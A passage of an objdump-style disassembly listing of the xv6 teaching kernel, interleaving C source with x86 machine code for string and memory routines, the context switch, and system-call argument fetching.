80105482: 89 d1 mov %edx,%ecx
80105484: fc cld
80105485: f3 aa rep stos %al,%es:(%edi)
80105487: 89 ca mov %ecx,%edx
80105489: 89 fb mov %edi,%ebx
8010548b: 89 5d 08 mov %ebx,0x8(%ebp)
8010548e: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
80105491: 5b pop %ebx
80105492: 5f pop %edi
80105493: 5d pop %ebp
80105494: c3 ret
80105495 <stosl>:
static inline void
stosl(void *addr, int data, int cnt)
{
80105495: 55 push %ebp
80105496: 89 e5 mov %esp,%ebp
80105498: 57 push %edi
80105499: 53 push %ebx
asm volatile("cld; rep stosl" :
8010549a: 8b 4d 08 mov 0x8(%ebp),%ecx
8010549d: 8b 55 10 mov 0x10(%ebp),%edx
801054a0: 8b 45 0c mov 0xc(%ebp),%eax
801054a3: 89 cb mov %ecx,%ebx
801054a5: 89 df mov %ebx,%edi
801054a7: 89 d1 mov %edx,%ecx
801054a9: fc cld
801054aa: f3 ab rep stos %eax,%es:(%edi)
801054ac: 89 ca mov %ecx,%edx
801054ae: 89 fb mov %edi,%ebx
801054b0: 89 5d 08 mov %ebx,0x8(%ebp)
801054b3: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
801054b6: 5b pop %ebx
801054b7: 5f pop %edi
801054b8: 5d pop %ebp
801054b9: c3 ret
801054ba <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
801054ba: 55 push %ebp
801054bb: 89 e5 mov %esp,%ebp
801054bd: 83 ec 0c sub $0xc,%esp
if ((int)dst%4 == 0 && n%4 == 0){
801054c0: 8b 45 08 mov 0x8(%ebp),%eax
801054c3: 83 e0 03 and $0x3,%eax
801054c6: 85 c0 test %eax,%eax
801054c8: 75 49 jne 80105513 <memset+0x59>
801054ca: 8b 45 10 mov 0x10(%ebp),%eax
801054cd: 83 e0 03 and $0x3,%eax
801054d0: 85 c0 test %eax,%eax
801054d2: 75 3f jne 80105513 <memset+0x59>
c &= 0xFF;
801054d4: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
801054db: 8b 45 10 mov 0x10(%ebp),%eax
801054de: c1 e8 02 shr $0x2,%eax
801054e1: 89 c2 mov %eax,%edx
801054e3: 8b 45 0c mov 0xc(%ebp),%eax
801054e6: c1 e0 18 shl $0x18,%eax
801054e9: 89 c1 mov %eax,%ecx
801054eb: 8b 45 0c mov 0xc(%ebp),%eax
801054ee: c1 e0 10 shl $0x10,%eax
801054f1: 09 c1 or %eax,%ecx
801054f3: 8b 45 0c mov 0xc(%ebp),%eax
801054f6: c1 e0 08 shl $0x8,%eax
801054f9: 09 c8 or %ecx,%eax
801054fb: 0b 45 0c or 0xc(%ebp),%eax
801054fe: 89 54 24 08 mov %edx,0x8(%esp)
80105502: 89 44 24 04 mov %eax,0x4(%esp)
80105506: 8b 45 08 mov 0x8(%ebp),%eax
80105509: 89 04 24 mov %eax,(%esp)
8010550c: e8 84 ff ff ff call 80105495 <stosl>
80105511: eb 19 jmp 8010552c <memset+0x72>
} else
stosb(dst, c, n);
80105513: 8b 45 10 mov 0x10(%ebp),%eax
80105516: 89 44 24 08 mov %eax,0x8(%esp)
8010551a: 8b 45 0c mov 0xc(%ebp),%eax
8010551d: 89 44 24 04 mov %eax,0x4(%esp)
80105521: 8b 45 08 mov 0x8(%ebp),%eax
80105524: 89 04 24 mov %eax,(%esp)
80105527: e8 44 ff ff ff call 80105470 <stosb>
return dst;
8010552c: 8b 45 08 mov 0x8(%ebp),%eax
}
8010552f: c9 leave
80105530: c3 ret
80105531 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
80105531: 55 push %ebp
80105532: 89 e5 mov %esp,%ebp
80105534: 83 ec 10 sub $0x10,%esp
const uchar *s1, *s2;
s1 = v1;
80105537: 8b 45 08 mov 0x8(%ebp),%eax
8010553a: 89 45 fc mov %eax,-0x4(%ebp)
s2 = v2;
8010553d: 8b 45 0c mov 0xc(%ebp),%eax
80105540: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0){
80105543: eb 30 jmp 80105575 <memcmp+0x44>
if(*s1 != *s2)
80105545: 8b 45 fc mov -0x4(%ebp),%eax
80105548: 0f b6 10 movzbl (%eax),%edx
8010554b: 8b 45 f8 mov -0x8(%ebp),%eax
8010554e: 0f b6 00 movzbl (%eax),%eax
80105551: 38 c2 cmp %al,%dl
80105553: 74 18 je 8010556d <memcmp+0x3c>
return *s1 - *s2;
80105555: 8b 45 fc mov -0x4(%ebp),%eax
80105558: 0f b6 00 movzbl (%eax),%eax
8010555b: 0f b6 d0 movzbl %al,%edx
8010555e: 8b 45 f8 mov -0x8(%ebp),%eax
80105561: 0f b6 00 movzbl (%eax),%eax
80105564: 0f b6 c0 movzbl %al,%eax
80105567: 29 c2 sub %eax,%edx
80105569: 89 d0 mov %edx,%eax
8010556b: eb 1a jmp 80105587 <memcmp+0x56>
s1++, s2++;
8010556d: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105571: 83 45 f8 01 addl $0x1,-0x8(%ebp)
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
80105575: 8b 45 10 mov 0x10(%ebp),%eax
80105578: 8d 50 ff lea -0x1(%eax),%edx
8010557b: 89 55 10 mov %edx,0x10(%ebp)
8010557e: 85 c0 test %eax,%eax
80105580: 75 c3 jne 80105545 <memcmp+0x14>
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
80105582: b8 00 00 00 00 mov $0x0,%eax
}
80105587: c9 leave
80105588: c3 ret
80105589 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80105589: 55 push %ebp
8010558a: 89 e5 mov %esp,%ebp
8010558c: 83 ec 10 sub $0x10,%esp
const char *s;
char *d;
s = src;
8010558f: 8b 45 0c mov 0xc(%ebp),%eax
80105592: 89 45 fc mov %eax,-0x4(%ebp)
d = dst;
80105595: 8b 45 08 mov 0x8(%ebp),%eax
80105598: 89 45 f8 mov %eax,-0x8(%ebp)
if(s < d && s + n > d){
8010559b: 8b 45 fc mov -0x4(%ebp),%eax
8010559e: 3b 45 f8 cmp -0x8(%ebp),%eax
801055a1: 73 3d jae 801055e0 <memmove+0x57>
801055a3: 8b 45 10 mov 0x10(%ebp),%eax
801055a6: 8b 55 fc mov -0x4(%ebp),%edx
801055a9: 01 d0 add %edx,%eax
801055ab: 3b 45 f8 cmp -0x8(%ebp),%eax
801055ae: 76 30 jbe 801055e0 <memmove+0x57>
s += n;
801055b0: 8b 45 10 mov 0x10(%ebp),%eax
801055b3: 01 45 fc add %eax,-0x4(%ebp)
d += n;
801055b6: 8b 45 10 mov 0x10(%ebp),%eax
801055b9: 01 45 f8 add %eax,-0x8(%ebp)
while(n-- > 0)
801055bc: eb 13 jmp 801055d1 <memmove+0x48>
*--d = *--s;
801055be: 83 6d f8 01 subl $0x1,-0x8(%ebp)
801055c2: 83 6d fc 01 subl $0x1,-0x4(%ebp)
801055c6: 8b 45 fc mov -0x4(%ebp),%eax
801055c9: 0f b6 10 movzbl (%eax),%edx
801055cc: 8b 45 f8 mov -0x8(%ebp),%eax
801055cf: 88 10 mov %dl,(%eax)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
801055d1: 8b 45 10 mov 0x10(%ebp),%eax
801055d4: 8d 50 ff lea -0x1(%eax),%edx
801055d7: 89 55 10 mov %edx,0x10(%ebp)
801055da: 85 c0 test %eax,%eax
801055dc: 75 e0 jne 801055be <memmove+0x35>
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
801055de: eb 26 jmp 80105606 <memmove+0x7d>
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
801055e0: eb 17 jmp 801055f9 <memmove+0x70>
*d++ = *s++;
801055e2: 8b 45 f8 mov -0x8(%ebp),%eax
801055e5: 8d 50 01 lea 0x1(%eax),%edx
801055e8: 89 55 f8 mov %edx,-0x8(%ebp)
801055eb: 8b 55 fc mov -0x4(%ebp),%edx
801055ee: 8d 4a 01 lea 0x1(%edx),%ecx
801055f1: 89 4d fc mov %ecx,-0x4(%ebp)
801055f4: 0f b6 12 movzbl (%edx),%edx
801055f7: 88 10 mov %dl,(%eax)
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
801055f9: 8b 45 10 mov 0x10(%ebp),%eax
801055fc: 8d 50 ff lea -0x1(%eax),%edx
801055ff: 89 55 10 mov %edx,0x10(%ebp)
80105602: 85 c0 test %eax,%eax
80105604: 75 dc jne 801055e2 <memmove+0x59>
*d++ = *s++;
return dst;
80105606: 8b 45 08 mov 0x8(%ebp),%eax
}
80105609: c9 leave
8010560a: c3 ret
8010560b <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
8010560b: 55 push %ebp
8010560c: 89 e5 mov %esp,%ebp
8010560e: 83 ec 0c sub $0xc,%esp
return memmove(dst, src, n);
80105611: 8b 45 10 mov 0x10(%ebp),%eax
80105614: 89 44 24 08 mov %eax,0x8(%esp)
80105618: 8b 45 0c mov 0xc(%ebp),%eax
8010561b: 89 44 24 04 mov %eax,0x4(%esp)
8010561f: 8b 45 08 mov 0x8(%ebp),%eax
80105622: 89 04 24 mov %eax,(%esp)
80105625: e8 5f ff ff ff call 80105589 <memmove>
}
8010562a: c9 leave
8010562b: c3 ret
8010562c <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
8010562c: 55 push %ebp
8010562d: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
8010562f: eb 0c jmp 8010563d <strncmp+0x11>
n--, p++, q++;
80105631: 83 6d 10 01 subl $0x1,0x10(%ebp)
80105635: 83 45 08 01 addl $0x1,0x8(%ebp)
80105639: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
8010563d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105641: 74 1a je 8010565d <strncmp+0x31>
80105643: 8b 45 08 mov 0x8(%ebp),%eax
80105646: 0f b6 00 movzbl (%eax),%eax
80105649: 84 c0 test %al,%al
8010564b: 74 10 je 8010565d <strncmp+0x31>
8010564d: 8b 45 08 mov 0x8(%ebp),%eax
80105650: 0f b6 10 movzbl (%eax),%edx
80105653: 8b 45 0c mov 0xc(%ebp),%eax
80105656: 0f b6 00 movzbl (%eax),%eax
80105659: 38 c2 cmp %al,%dl
8010565b: 74 d4 je 80105631 <strncmp+0x5>
n--, p++, q++;
if(n == 0)
8010565d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105661: 75 07 jne 8010566a <strncmp+0x3e>
return 0;
80105663: b8 00 00 00 00 mov $0x0,%eax
80105668: eb 16 jmp 80105680 <strncmp+0x54>
return (uchar)*p - (uchar)*q;
8010566a: 8b 45 08 mov 0x8(%ebp),%eax
8010566d: 0f b6 00 movzbl (%eax),%eax
80105670: 0f b6 d0 movzbl %al,%edx
80105673: 8b 45 0c mov 0xc(%ebp),%eax
80105676: 0f b6 00 movzbl (%eax),%eax
80105679: 0f b6 c0 movzbl %al,%eax
8010567c: 29 c2 sub %eax,%edx
8010567e: 89 d0 mov %edx,%eax
}
80105680: 5d pop %ebp
80105681: c3 ret
80105682 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
80105682: 55 push %ebp
80105683: 89 e5 mov %esp,%ebp
80105685: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
80105688: 8b 45 08 mov 0x8(%ebp),%eax
8010568b: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0 && (*s++ = *t++) != 0)
8010568e: 90 nop
8010568f: 8b 45 10 mov 0x10(%ebp),%eax
80105692: 8d 50 ff lea -0x1(%eax),%edx
80105695: 89 55 10 mov %edx,0x10(%ebp)
80105698: 85 c0 test %eax,%eax
8010569a: 7e 1e jle 801056ba <strncpy+0x38>
8010569c: 8b 45 08 mov 0x8(%ebp),%eax
8010569f: 8d 50 01 lea 0x1(%eax),%edx
801056a2: 89 55 08 mov %edx,0x8(%ebp)
801056a5: 8b 55 0c mov 0xc(%ebp),%edx
801056a8: 8d 4a 01 lea 0x1(%edx),%ecx
801056ab: 89 4d 0c mov %ecx,0xc(%ebp)
801056ae: 0f b6 12 movzbl (%edx),%edx
801056b1: 88 10 mov %dl,(%eax)
801056b3: 0f b6 00 movzbl (%eax),%eax
801056b6: 84 c0 test %al,%al
801056b8: 75 d5 jne 8010568f <strncpy+0xd>
;
while(n-- > 0)
801056ba: eb 0c jmp 801056c8 <strncpy+0x46>
*s++ = 0;
801056bc: 8b 45 08 mov 0x8(%ebp),%eax
801056bf: 8d 50 01 lea 0x1(%eax),%edx
801056c2: 89 55 08 mov %edx,0x8(%ebp)
801056c5: c6 00 00 movb $0x0,(%eax)
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
801056c8: 8b 45 10 mov 0x10(%ebp),%eax
801056cb: 8d 50 ff lea -0x1(%eax),%edx
801056ce: 89 55 10 mov %edx,0x10(%ebp)
801056d1: 85 c0 test %eax,%eax
801056d3: 7f e7 jg 801056bc <strncpy+0x3a>
*s++ = 0;
return os;
801056d5: 8b 45 fc mov -0x4(%ebp),%eax
}
801056d8: c9 leave
801056d9: c3 ret
801056da <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
801056da: 55 push %ebp
801056db: 89 e5 mov %esp,%ebp
801056dd: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
801056e0: 8b 45 08 mov 0x8(%ebp),%eax
801056e3: 89 45 fc mov %eax,-0x4(%ebp)
if(n <= 0)
801056e6: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801056ea: 7f 05 jg 801056f1 <safestrcpy+0x17>
return os;
801056ec: 8b 45 fc mov -0x4(%ebp),%eax
801056ef: eb 31 jmp 80105722 <safestrcpy+0x48>
while(--n > 0 && (*s++ = *t++) != 0)
801056f1: 83 6d 10 01 subl $0x1,0x10(%ebp)
801056f5: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801056f9: 7e 1e jle 80105719 <safestrcpy+0x3f>
801056fb: 8b 45 08 mov 0x8(%ebp),%eax
801056fe: 8d 50 01 lea 0x1(%eax),%edx
80105701: 89 55 08 mov %edx,0x8(%ebp)
80105704: 8b 55 0c mov 0xc(%ebp),%edx
80105707: 8d 4a 01 lea 0x1(%edx),%ecx
8010570a: 89 4d 0c mov %ecx,0xc(%ebp)
8010570d: 0f b6 12 movzbl (%edx),%edx
80105710: 88 10 mov %dl,(%eax)
80105712: 0f b6 00 movzbl (%eax),%eax
80105715: 84 c0 test %al,%al
80105717: 75 d8 jne 801056f1 <safestrcpy+0x17>
;
*s = 0;
80105719: 8b 45 08 mov 0x8(%ebp),%eax
8010571c: c6 00 00 movb $0x0,(%eax)
return os;
8010571f: 8b 45 fc mov -0x4(%ebp),%eax
}
80105722: c9 leave
80105723: c3 ret
80105724 <strlen>:
int
strlen(const char *s)
{
80105724: 55 push %ebp
80105725: 89 e5 mov %esp,%ebp
80105727: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
8010572a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80105731: eb 04 jmp 80105737 <strlen+0x13>
80105733: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105737: 8b 55 fc mov -0x4(%ebp),%edx
8010573a: 8b 45 08 mov 0x8(%ebp),%eax
8010573d: 01 d0 add %edx,%eax
8010573f: 0f b6 00 movzbl (%eax),%eax
80105742: 84 c0 test %al,%al
80105744: 75 ed jne 80105733 <strlen+0xf>
;
return n;
80105746: 8b 45 fc mov -0x4(%ebp),%eax
}
80105749: c9 leave
8010574a: c3 ret
8010574b: 90 nop
8010574c <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
8010574c: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
80105750: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
80105754: 55 push %ebp
pushl %ebx
80105755: 53 push %ebx
pushl %esi
80105756: 56 push %esi
pushl %edi
80105757: 57 push %edi
# Switch stacks
movl %esp, (%eax)
80105758: 89 20 mov %esp,(%eax)
movl %edx, %esp
8010575a: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
8010575c: 5f pop %edi
popl %esi
8010575d: 5e pop %esi
popl %ebx
8010575e: 5b pop %ebx
popl %ebp
8010575f: 5d pop %ebp
ret
80105760: c3 ret
80105761: 66 90 xchg %ax,%ax
80105763: 90 nop
80105764 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
80105764: 55 push %ebp
80105765: 89 e5 mov %esp,%ebp
if(addr >= proc->sz || addr+4 > proc->sz)
80105767: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010576d: 8b 00 mov (%eax),%eax
8010576f: 3b 45 08 cmp 0x8(%ebp),%eax
80105772: 76 12 jbe 80105786 <fetchint+0x22>
80105774: 8b 45 08 mov 0x8(%ebp),%eax
80105777: 8d 50 04 lea 0x4(%eax),%edx
8010577a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105780: 8b 00 mov (%eax),%eax
80105782: 39 c2 cmp %eax,%edx
80105784: 76 07 jbe 8010578d <fetchint+0x29>
return -1;
80105786: b8 ff ff ff ff mov $0xffffffff,%eax
8010578b: eb 0f jmp 8010579c <fetchint+0x38>
*ip = *(int*)(addr);
8010578d: 8b 45 08 mov 0x8(%ebp),%eax
80105790: 8b 10 mov (%eax),%edx
80105792: 8b 45 0c mov 0xc(%ebp),%eax
80105795: 89 10 mov %edx,(%eax)
return 0;
80105797: b8 00 00 00 00 mov $0x0,%eax
}
8010579c: 5d pop %ebp
8010579d: c3 ret
8010579e <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
8010579e: 55 push %ebp
8010579f: 89 e5 mov %esp,%ebp
801057a1: 83 ec 10 sub $0x10,%esp
char *s, *ep;
if(addr >= proc->sz)
801057a4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801057aa: 8b 00 mov (%eax),%eax
801057ac: 3b 45 08 cmp 0x8(%ebp),%eax
801057af: 77 07 ja 801057b8 <fetchstr+0x1a>
return -1;
801057b1: b8 ff ff ff ff mov $0xffffffff,%eax
801057b6: eb 46 jmp 801057fe <fetchstr+0x60>
*pp = (char*)addr;
801057b8: 8b 55 08 mov 0x8(%ebp),%edx
801057bb: 8b 45 0c mov 0xc(%ebp),%eax
801057be: 89 10 mov %edx,(%eax)
ep = (char*)proc->sz;
801057c0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801057c6: 8b 00 mov (%eax),%eax
801057c8: 89 45 f8 mov %eax,-0x8(%ebp)
for(s = *pp; s < ep; s++)
801057cb: 8b 45 0c mov 0xc(%ebp),%eax
801057ce: 8b 00 mov (%eax),%eax
801057d0: 89 45 fc mov %eax,-0x4(%ebp)
801057d3: eb 1c jmp 801057f1 <fetchstr+0x53>
if(*s == 0)
801057d5: 8b 45 fc mov -0x4(%ebp),%eax
801057d8: 0f b6 00 movzbl (%eax),%eax
801057db: 84 c0 test %al,%al
801057dd: 75 0e jne 801057ed <fetchstr+0x4f>
return s - *pp;
801057df: 8b 55 fc mov -0x4(%ebp),%edx
801057e2: 8b 45 0c mov 0xc(%ebp),%eax
801057e5: 8b 00 mov (%eax),%eax
801057e7: 29 c2 sub %eax,%edx
801057e9: 89 d0 mov %edx,%eax
801057eb: eb 11 jmp 801057fe <fetchstr+0x60>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
801057ed: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801057f1: 8b 45 fc mov -0x4(%ebp),%eax
801057f4: 3b 45 f8 cmp -0x8(%ebp),%eax
801057f7: 72 dc jb 801057d5 <fetchstr+0x37>
if(*s == 0)
return s - *pp;
return -1;
801057f9: b8 ff ff ff ff mov $0xffffffff,%eax
}
801057fe: c9 leave
801057ff: c3 ret
80105800 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80105800: 55 push %ebp
80105801: 89 e5 mov %esp,%ebp
80105803: 83 ec 08 sub $0x8,%esp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80105806: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010580c: 8b 40 18 mov 0x18(%eax),%eax
8010580f: 8b 50 44 mov 0x44(%eax),%edx
80105812: 8b 45 08 mov 0x8(%ebp),%eax
80105815: c1 e0 02 shl $0x2,%eax
80105818: 01 d0 add %edx,%eax
8010581a: 8d 50 04 lea 0x4(%eax),%edx
8010581d: 8b 45 0c mov 0xc(%ebp),%eax
80105820: 89 44 24 04 mov %eax,0x4(%esp)
80105824: 89 14 24 mov %edx,(%esp)
80105827: e8 38 ff ff ff call 80105764 <fetchint>
}
8010582c: c9 leave
8010582d: c3 ret
8010582e <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size n bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
8010582e: 55 push %ebp
8010582f: 89 e5 mov %esp,%ebp
80105831: 83 ec 18 sub $0x18,%esp
int i;
if(argint(n, &i) < 0)
80105834: 8d 45 fc lea -0x4(%ebp),%eax
80105837: 89 44 24 04 mov %eax,0x4(%esp)
8010583b: 8b 45 08 mov 0x8(%ebp),%eax
8010583e: 89 04 24 mov %eax,(%esp)
80105841: e8 ba ff ff ff call 80105800 <argint>
80105846: 85 c0 test %eax,%eax
80105848: 79 07 jns 80105851 <argptr+0x23>
return -1;
8010584a: b8 ff ff ff ff mov $0xffffffff,%eax
8010584f: eb 3d jmp 8010588e <argptr+0x60>
if((uint)i >= proc->sz || (uint)i+size > proc->sz)
80105851: 8b 45 fc mov -0x4(%ebp),%eax
80105854: 89 c2 mov %eax,%edx
80105856: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010585c: 8b 00 mov (%eax),%eax
8010585e: 39 c2 cmp %eax,%edx
80105860: 73 16 jae 80105878 <argptr+0x4a>
80105862: 8b 45 fc mov -0x4(%ebp),%eax
80105865: 89 c2 mov %eax,%edx
80105867: 8b 45 10 mov 0x10(%ebp),%eax
8010586a: 01 c2 add %eax,%edx
8010586c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105872: 8b 00 mov (%eax),%eax
80105874: 39 c2 cmp %eax,%edx
80105876: 76 07 jbe 8010587f <argptr+0x51>
return -1;
80105878: b8 ff ff ff ff mov $0xffffffff,%eax
8010587d: eb 0f jmp 8010588e <argptr+0x60>
*pp = (char*)i;
8010587f: 8b 45 fc mov -0x4(%ebp),%eax
80105882: 89 c2 mov %eax,%edx
80105884: 8b 45 0c mov 0xc(%ebp),%eax
80105887: 89 10 mov %edx,(%eax)
return 0;
80105889: b8 00 00 00 00 mov $0x0,%eax
}
8010588e: c9 leave
8010588f: c3 ret
80105890 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
80105890: 55 push %ebp
80105891: 89 e5 mov %esp,%ebp
80105893: 83 ec 18 sub $0x18,%esp
int addr;
if(argint(n, &addr) < 0)
80105896: 8d 45 fc lea -0x4(%ebp),%eax
80105899: 89 44 24 04 mov %eax,0x4(%esp)
8010589d: 8b 45 08 mov 0x8(%ebp),%eax
801058a0: 89 04 24 mov %eax,(%esp)
801058a3: e8 58 ff ff ff call 80105800 <argint>
801058a8: 85 c0 test %eax,%eax
801058aa: 79 07 jns 801058b3 <argstr+0x23>
return -1;
801058ac: b8 ff ff ff ff mov $0xffffffff,%eax
801058b1: eb 12 jmp 801058c5 <argstr+0x35>
return fetchstr(addr, pp);
801058b3: 8b 45 fc mov -0x4(%ebp),%eax
801058b6: 8b 55 0c mov 0xc(%ebp),%edx
801058b9: 89 54 24 04 mov %edx,0x4(%esp)
801058bd: 89 04 24 mov %eax,(%esp)
801058c0: e8 d9 fe ff ff call 8010579e <fetchstr>
}
801058c5: c9 leave
801058c6: c3 ret
801058c7 <syscall>:
};
void
syscall(void)
{
801058c7: 55 push %ebp
801058c8: 89 e5 mov %esp,%ebp
801058ca: 53 push %ebx
801058cb: 83 ec 24 sub $0x24,%esp
int num;
num = proc->tf->eax;
801058ce: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801058d4: 8b 40 18 mov 0x18(%eax),%eax
801058d7: 8b 40 1c mov 0x1c(%eax),%eax
801058da: 89 45 f4 mov %eax,-0xc(%ebp)
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
801058dd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801058e1: 7e 30 jle 80105913 <syscall+0x4c>
801058e3: 8b 45 f4 mov -0xc(%ebp),%eax
801058e6: 83 f8 1a cmp $0x1a,%eax
801058e9: 77 28 ja 80105913 <syscall+0x4c>
801058eb: 8b 45 f4 mov -0xc(%ebp),%eax
801058ee: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax
801058f5: 85 c0 test %eax,%eax
801058f7: 74 1a je 80105913 <syscall+0x4c>
proc->tf->eax = syscalls[num]();
801058f9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801058ff: 8b 58 18 mov 0x18(%eax),%ebx
80105902: 8b 45 f4 mov -0xc(%ebp),%eax
80105905: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax
8010590c: ff d0 call *%eax
8010590e: 89 43 1c mov %eax,0x1c(%ebx)
80105911: eb 3d jmp 80105950 <syscall+0x89>
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
80105913: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105919: 8d 48 6c lea 0x6c(%eax),%ecx
8010591c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
80105922: 8b 40 10 mov 0x10(%eax),%eax
80105925: 8b 55 f4 mov -0xc(%ebp),%edx
80105928: 89 54 24 0c mov %edx,0xc(%esp)
8010592c: 89 4c 24 08 mov %ecx,0x8(%esp)
80105930: 89 44 24 04 mov %eax,0x4(%esp)
80105934: c7 04 24 73 8d 10 80 movl $0x80108d73,(%esp)
8010593b: e8 60 aa ff ff call 801003a0 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
80105940: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105946: 8b 40 18 mov 0x18(%eax),%eax
80105949: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80105950: 83 c4 24 add $0x24,%esp
80105953: 5b pop %ebx
80105954: 5d pop %ebp
80105955: c3 ret
80105956: 66 90 xchg %ax,%ax
80105958 <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
80105958: 55 push %ebp
80105959: 89 e5 mov %esp,%ebp
8010595b: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argint(n, &fd) < 0)
8010595e: 8d 45 f0 lea -0x10(%ebp),%eax
80105961: 89 44 24 04 mov %eax,0x4(%esp)
80105965: 8b 45 08 mov 0x8(%ebp),%eax
80105968: 89 04 24 mov %eax,(%esp)
8010596b: e8 90 fe ff ff call 80105800 <argint>
80105970: 85 c0 test %eax,%eax
80105972: 79 07 jns 8010597b <argfd+0x23>
return -1;
80105974: b8 ff ff ff ff mov $0xffffffff,%eax
80105979: eb 50 jmp 801059cb <argfd+0x73>
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
8010597b: 8b 45 f0 mov -0x10(%ebp),%eax
8010597e: 85 c0 test %eax,%eax
80105980: 78 21 js 801059a3 <argfd+0x4b>
80105982: 8b 45 f0 mov -0x10(%ebp),%eax
80105985: 83 f8 0f cmp $0xf,%eax
80105988: 7f 19 jg 801059a3 <argfd+0x4b>
8010598a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105990: 8b 55 f0 mov -0x10(%ebp),%edx
80105993: 83 c2 08 add $0x8,%edx
80105996: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
8010599a: 89 45 f4 mov %eax,-0xc(%ebp)
8010599d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801059a1: 75 07 jne 801059aa <argfd+0x52>
return -1;
801059a3: b8 ff ff ff ff mov $0xffffffff,%eax
801059a8: eb 21 jmp 801059cb <argfd+0x73>
if(pfd)
801059aa: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
801059ae: 74 08 je 801059b8 <argfd+0x60>
*pfd = fd;
801059b0: 8b 55 f0 mov -0x10(%ebp),%edx
801059b3: 8b 45 0c mov 0xc(%ebp),%eax
801059b6: 89 10 mov %edx,(%eax)
if(pf)
801059b8: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801059bc: 74 08 je 801059c6 <argfd+0x6e>
*pf = f;
801059be: 8b 45 10 mov 0x10(%ebp),%eax
